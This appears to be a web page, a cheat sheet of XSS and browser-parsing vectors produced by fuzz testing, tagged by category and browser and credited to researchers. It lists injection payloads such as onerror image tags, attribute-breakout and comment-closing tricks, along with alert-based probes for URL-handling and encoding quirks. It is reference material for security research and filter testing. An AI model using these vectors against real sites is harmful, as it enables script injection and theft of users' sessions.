Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 153 vectors with results
<input id="test" value="s0x00onload="alert(1)" />Source: Escape inline double quote
Author: lUcgryy
XSSHTML ParsingMicrosoft EdgeChrome
<img src=x><img/src/onerror=alert(1)>Source: Character that closes HTML tag
Author: InsertScript
HTMLHTML ParsingChromeFirefoxSafari
<!----!>><img/src/onerror=alert(1)>HTMLHTML ParsingChrome
if (new URL("https://0x09localhost/endpoint").host == "localhost") {0x0D
alert(9);0x0D
}Author: rootd4ddy
JSURL HandlingChrome
if (new URL("https:///localhost/endpoint").host == "localhost") {0x0D
alert(47);0x0D
}Author: rootd4ddy
JSURL HandlingChrome
if (new URL("https://@localhost/endpoint").host == "localhost") {0x0D
alert(64);0x0D
}Author: rootd4ddy
JSURL HandlingChrome
if (new URL("https://\localhost/endpoint").host == "localhost") {0x0D
alert(92);0x0D
}Author: rootd4ddy
JSURL HandlingChrome
if (new URL("https://localhost/endpoint").host == "localhost") {0x0D
alert(173);0x0D
}Author: rootd4ddy
JSURL HandlingChrome
<div style="color:red">test</div>Source: CSS inline property definition
Author: hipotermia
HTMLCSS ParsingChromeMicrosoft Edge
document.body.innerHTML = String.fromCodePoint(60) + "img src=x onerror=alert(60) />";Author: nollium
JSHTML ParsingChrome
$:alert(36)JSXSS ExecutionChromeSafari
_:alert(95)JSXSS ExecutionChromeSafari
ª:alert(170)JSXSS ExecutionChromeSafari
µ:alert(181)JSXSS ExecutionChromeSafari
0 > 0x7f && normalizationForms.forEach(form => {0x0D
const normalized = String.fromCodePoint(0).normalize(form);0x0D
for(let charToCheck of charsToCheck) {0x0D
if(charToCheck === normalized) {0x0D
alert(String.fromCodePoint(0)+"("+form+")"+"="+charToCheck);0x0D
}0x0D
}0x0D
})JSJavaScript SyntaxChromeFirefox
s = "0";0x0D
if (typeof s["0x00__proto__"] != "undefined") {0x0D
alert(fromCodePoint(0));0x0D
}Author: vitorfhc
JSBrowser QuirksChrome
anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(33);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(33)Author: hackvertor
JSURL HandlingChromeFirefoxSafari
anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(36);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(36)Author: hackvertor
JSURL HandlingChromeFirefoxSafari
anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(37);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(37)Author: hackvertor
JSURL HandlingChromeFirefoxSafari
anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(38);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(38)Author: hackvertor
JSURL HandlingChromeFirefoxSafari
anchor.href='//example.com';0x0D
let chr = String.fromCodePoint(39);0x0D
anchor.hash = chr;0x0D
if(anchor.hash.slice(1).includes(chr))alert(39)Author: hackvertor
JSURL HandlingChromeFirefoxSafari
<a href="0x01//example2.com" id=x></a>XSSURL HandlingChromeFirefoxSafari
<a href="0x02//example2.com" id=x></a>XSSURL HandlingChromeFirefoxSafari
<a href="0x03//example2.com" id=x></a>XSSURL HandlingChromeFirefoxSafari
<a href="0x04//example2.com" id=x></a>XSSURL HandlingChromeFirefoxSafari
<a href="0x05//example2.com" id=x></a>XSSURL HandlingChromeFirefoxSafari
try{0x0D
encodeURIComponent(String.fromCodePoint(55296))0x0D
} catch {0x0D
alert(55296);0x0D
} Author: hackvertor
JSXSS ExecutionChromeSafariFirefox
try{0x0D
encodeURIComponent(String.fromCodePoint(55297))0x0D
} catch {0x0D
alert(55297);0x0D
} Author: hackvertor
JSXSS ExecutionChromeSafariFirefox
try{0x0D
encodeURIComponent(String.fromCodePoint(55298))0x0D
} catch {0x0D
alert(55298);0x0D
} Author: hackvertor
JSXSS ExecutionChromeSafariFirefox
try{0x0D
encodeURIComponent(String.fromCodePoint(55299))0x0D
} catch {0x0D
alert(55299);0x0D
} Author: hackvertor
JSXSS ExecutionChromeSafariFirefox
try{0x0D
encodeURIComponent(String.fromCodePoint(55300))0x0D
} catch {0x0D
alert(55300);0x0D
} Author: hackvertor
JSXSS ExecutionChromeSafariFirefox
anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(33);0x0D
if(!/%/.test(anchor+''))alert(33)JSURL HandlingChromeFirefoxSafari
anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(36);0x0D
if(!/%/.test(anchor+''))alert(36)JSURL HandlingChromeFirefoxSafari
anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(38);0x0D
if(!/%/.test(anchor+''))alert(38)JSURL HandlingChromeFirefoxSafari
anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(40);0x0D
if(!/%/.test(anchor+''))alert(40)JSURL HandlingChromeFirefoxSafari
anchor.href='//example.com';0x0D
anchor.username = String.fromCodePoint(41);0x0D
if(!/%/.test(anchor+''))alert(41)JSURL HandlingChromeFirefoxSafari
anchor.href='http://example.com';0x0D
anchor.protocol = 'http' + String.fromCodePoint(83) + ':';0x0D
if(!/http:/.test(anchor.protocol+''))alert(83)JSURL HandlingSafariFirefoxChrome
anchor.href='http://example.com';0x0D
anchor.protocol = 'http' + String.fromCodePoint(115) + ':';0x0D
if(!/http:/.test(anchor.protocol+''))alert(115)JSURL HandlingSafariFirefoxChrome
